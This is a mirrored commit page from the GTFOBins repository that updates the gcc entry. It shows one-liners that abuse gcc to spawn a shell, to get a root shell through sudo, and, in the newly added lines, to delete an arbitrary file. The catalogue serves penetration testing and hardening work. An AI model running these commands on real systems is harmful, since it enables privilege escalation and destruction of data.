mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Update gcc.md
delete a file with gcc
This commit is contained in:
parent
33d93b2bcd
commit
51e8892fec
@ -8,4 +8,7 @@ functions:
|
|||||||
- code: gcc -wrapper /bin/sh,-s .
|
- code: gcc -wrapper /bin/sh,-s .
|
||||||
sudo:
|
sudo:
|
||||||
- code: sudo gcc -wrapper /bin/sh,-s .
|
- code: sudo gcc -wrapper /bin/sh,-s .
|
||||||
|
file-delete:
|
||||||
|
- code: |
|
||||||
|
echo "int main(){printf(\" Hello \");return 0;}" > /tmp/oye.c ; gcc -nostdlib /tmp/oye.c -o [FILE-TO-DELETE] .
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user